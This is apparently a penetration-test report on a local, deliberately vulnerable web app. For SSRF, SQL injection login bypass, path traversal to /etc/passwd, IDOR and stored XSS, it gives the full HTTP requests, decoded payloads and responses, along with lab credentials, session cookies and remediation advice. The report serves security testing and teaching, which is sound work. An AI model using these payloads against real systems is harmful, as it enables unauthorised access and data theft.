Vulnerability Assessment Report

Executive Summary

This report provides a detailed analysis of security vulnerabilities identified during testing of the web application at http://localhost:5000/. The assessment revealed multiple critical security issues that could compromise the application's security and data integrity.

Key Findings:

- **Critical (1)**: Server-Side Request Forgery (SSRF) allowing internal network access
- **High (2)**: SQL Injection and Local File Inclusion vulnerabilities
- **Medium (1)**: Insecure Direct Object Reference (IDOR) vulnerability
- **Low (1)**: Stored Cross-Site Scripting (XSS) vulnerability

Overall Risk Assessment: **High** - Immediate remediation is required for several critical vulnerabilities that could lead to complete system compromise.

Scope and Methodology

Scope: The assessment focused on the web application running on http://localhost:5000/ and included testing for common web application vulnerabilities.

Testing Methodology:

- Manual testing of input fields and parameters for injection vulnerabilities
- Authentication and authorization testing
- File handling functionality testing
- Client-side security controls assessment

Credentials Used:

```
Admin: admin / admin123
User: user1 / user123
```

Login URL: http://localhost:5000/login

Findings Overview

Severity	Vulnerability	CVSS Score	Status
Critical	Server-Side Request Forgery (SSRF)	9.1	Confirmed
High	SQL Injection	8.8	Confirmed
High	Local File Inclusion (LFI)	7.5	Confirmed
Medium	Insecure Direct Object Reference (IDOR)	5.3	Confirmed
Low	Stored Cross-Site Scripting (XSS)	3.1	Confirmed

Detailed Findings

Critical Severity

Server-Side Request Forgery (SSRF)

Description: The application contains a Server-Side Request Forgery vulnerability in the API endpoint that fetches external resources. This allows an attacker to make requests to internal services that should not be accessible from outside the network.

Request:

```
GET /api/fetch?api_key=insecure_api_key_123&url=http://internal-server/secret.txt HTTP/1.1
Host: localhost:5000
sec-ch-ua: "Chromium";v="137", "Not/A)Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0
Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,applic
ation/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
```

Response:

```
HTTP/1.1 200 OK
Server: gunicorn
Date: Wed, 13 Aug 2025 01:03:45 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 394

INTERNAL_SECRET_FLAG{ssrf_test_successful_internal_access}

This is a secret file that should only be accessible internally.
If you can read this via SSRF, the vulnerability test was successful.

Internal server details:
- Hostname: internal-server
- Service: nginx
- Purpose: SSRF testing target
- Timestamp: 2024-01-01T00:00:00Z

Do not expose this file externally in production environments.
```

Impact:

- Access to internal network resources and services
- Potential to bypass network security controls
- Information disclosure of internal system details
- Possible pivot point for further attacks

Recommendation:

- Implement strict validation of user-supplied URLs
- Use an allowlist of permitted domains
- Disable requests to internal IP addresses and domains
- Implement network segmentation to limit access from application servers

High Severity

SQL Injection in Login Form

Description: The login form is vulnerable to SQL injection, allowing attackers to bypass authentication or potentially extract database information.

Request:

```
POST /login HTTP/1.1
Host: localhost:5000
Content-Length: 77
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
```

```
username=admin%27+or+%271%27%3D%271+--&password=admin%27+or+%271%27%3D%271+--
```

Decoded Payload:

```
username=admin' or '1'='1 --&password=admin' or '1'='1 --
```

Response:

```
HTTP/1.1 302 FOUND
Server: gunicorn
Date: Wed, 13 Aug 2025 01:06:58 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 189
Location: /
Vary: Cookie
Set-Cookie: session=.eJwljkGKwzAMRa_Sat2FFMeWneVcY6YURZJpoE0hbmZTevfxUPjw-
IsH7wWXepN29QbT9wsOzw5ou6q3Bif42RGFvhZff31d7HEQuy_rEc7v86mbm7crTM9t9_4WgwmKchFPMebRg1VEVA81DBqyUVLEccwp
qokMEXMlp1pySWLMaIUs6SwpFaYum1YSzhwGVifkkGMhKXHOxNHEQgw2S-
SxcP6fcph782Vvvn1qCN5_WsdBzg.aJvlMg.3EA6o5OmmGaF0XSl93mFqQUpllI; HttpOnly; Path=/
```

Impact:

- Authentication bypass
- Potential for complete database compromise
- Data exfiltration
- Possible remote code execution depending on database configuration

Recommendation:

- Use parameterized queries or prepared statements
- Implement proper input validation and sanitization
- Apply the principle of least privilege to database accounts
- Implement Web Application Firewall (WAF) rules to detect SQL injection attempts

Local File Inclusion (Path Traversal)

Description: The file download functionality is vulnerable to path traversal attacks, allowing unauthorized access to system files.

Request:

```
GET /download?file=../../etc/passwd HTTP/1.1
Host: localhost:5000
sec-ch-ua: "Chromium";v="137", "Not/A)Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
```

```
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0
Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,applic
ation/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Cookie:
session=.eJwlzkEOwkAIQNG7zNoFlDJAL9MwwES3rV0Z767G5G9_8l5tn0ed97Y9j6tubX9k25qFmFdn1rUoJwBE0aQlSBN7AKyrdo
50Xxh0YuE0te4pAmmYPYb3boLfOWOiiwotEoUgpGzoxkNROD2JKYezrCb6K4RG-
0Kus46_Btv7A6JWLqg.aJvlMg.mp7fYZJGkTdoUVExgvegb3dRV7E
Connection: keep-alive
```

Response (Partial):

```
HTTP/1.1 200 OK
Server: gunicorn
Date: Wed, 13 Aug 2025 01:08:15 GMT
Connection: close
Content-Disposition: attachment; filename=passwd
Content-Type: application/octet-stream
Content-Length: 839
Last-Modified: Mon, 11 Aug 2025 00:00:00 GMT

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
[...]
```

Impact:

- Unauthorized access to sensitive system files
- Potential disclosure of credentials or configuration files
- Possible step toward remote code execution

Recommendation:

- Implement strict path validation
- Use a whitelist of allowed files
- Normalize paths before processing
- Run the application with least privilege permissions

Medium Severity

Insecure Direct Object Reference (IDOR)

Description: The application does not properly enforce access controls on user profile pages, allowing users to view other users' profiles by modifying the ID parameter.

Request (Unauthorized Access to User 2's Profile):

```
GET /profile/2 HTTP/1.1
Host: localhost:5000
sec-ch-ua: "Chromium";v="137", "Not/A)Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0
Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,applic
ation/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Cookie:
session=.eJwlzkEOwkAIQNG7zNoFlDJAL9MwwES3rV0Z767G5G9_8l5tn0ed97Y9j6tubX9k25qFmFdn1rUoJwBE0aQlSBN7AKyrdo
50Xxh0YuE0te4pAmmYPYb3boLfOWOiiwotEoUgpGzoxkNROD2JKYezrCb6K4RG-
0Kus46_Btv7A6JWLqg.aJvlMg.mp7fYZJGkTdoUVExgvegb3dRV7E
Connection: keep-alive
```

Response (Partial):

```
HTTP/1.1 200 OK
Server: gunicorn
Date: Wed, 13 Aug 2025 01:10:11 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 2437
Vary: Cookie

[...]
<h2>user1's Profile</h2>

</div>

<div class="card-body">

    <div class="mb-4">

        <h4>User Information</h4>

        <hr>

        <p><strong>Username:</strong> user1</p>

        <p><strong>Email:</strong> user1@example.com</p>

        <p><strong>Role:</strong> Regular User</p>
```

```
    </div>
[...]
```

Impact:

- Unauthorized access to other users' personal information
- Potential for further attacks using gathered information
- Violation of privacy regulations

Recommendation:

- Implement proper access control checks
- Use indirect object references
- Implement role-based access control
- Log access attempts to sensitive resources

Low Severity

Stored Cross-Site Scripting (XSS)

Description: The comment functionality is vulnerable to stored XSS attacks, allowing persistent injection of JavaScript code.

Request:

```
POST /comment HTTP/1.1
Host: localhost:5000
Content-Length: 69
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive

document_id=1&content=%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E
```

Decoded Payload:

```
document_id=1&content=<script>alert("XSS")</script>
```

Response:

```
HTTP/1.1 302 FOUND
Server: gunicorn
Date: Wed, 13 Aug 2025 01:14:08 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 209
Location: /document/1
Vary: Cookie
```

Subsequent Request Showing XSS Execution:

```
GET /document/1 HTTP/1.1
Host: localhost:5000
[...]
```

Response Showing XSS Payload:

```
HTTP/1.1 200 OK
[...]
<div class="mb-1"><script>alert("XSS")</script></div>
[...]
```

Impact:

- Execution of arbitrary JavaScript in users' browsers
- Potential for session hijacking if combined with other vulnerabilities
- Defacement of application content

Recommendation:

- Implement proper output encoding
- Use Content Security Policy (CSP) headers
- Sanitize user input before storage
- Consider using a markup language with safe rendering (e.g., Markdown with HTML sanitization)

Conclusion

This assessment has identified several critical security vulnerabilities that require immediate attention. The SSRF vulnerability in particular poses a significant risk to internal network security. The SQL injection and path traversal vulnerabilities also represent serious risks that could lead to complete system compromise.

It is recommended that the development team prioritize remediation of these issues according to the suggested timeline. Additionally, implementing a secure development lifecycle with regular security testing would help prevent similar issues in future releases.

For any questions regarding this report or the identified vulnerabilities, please contact the security team.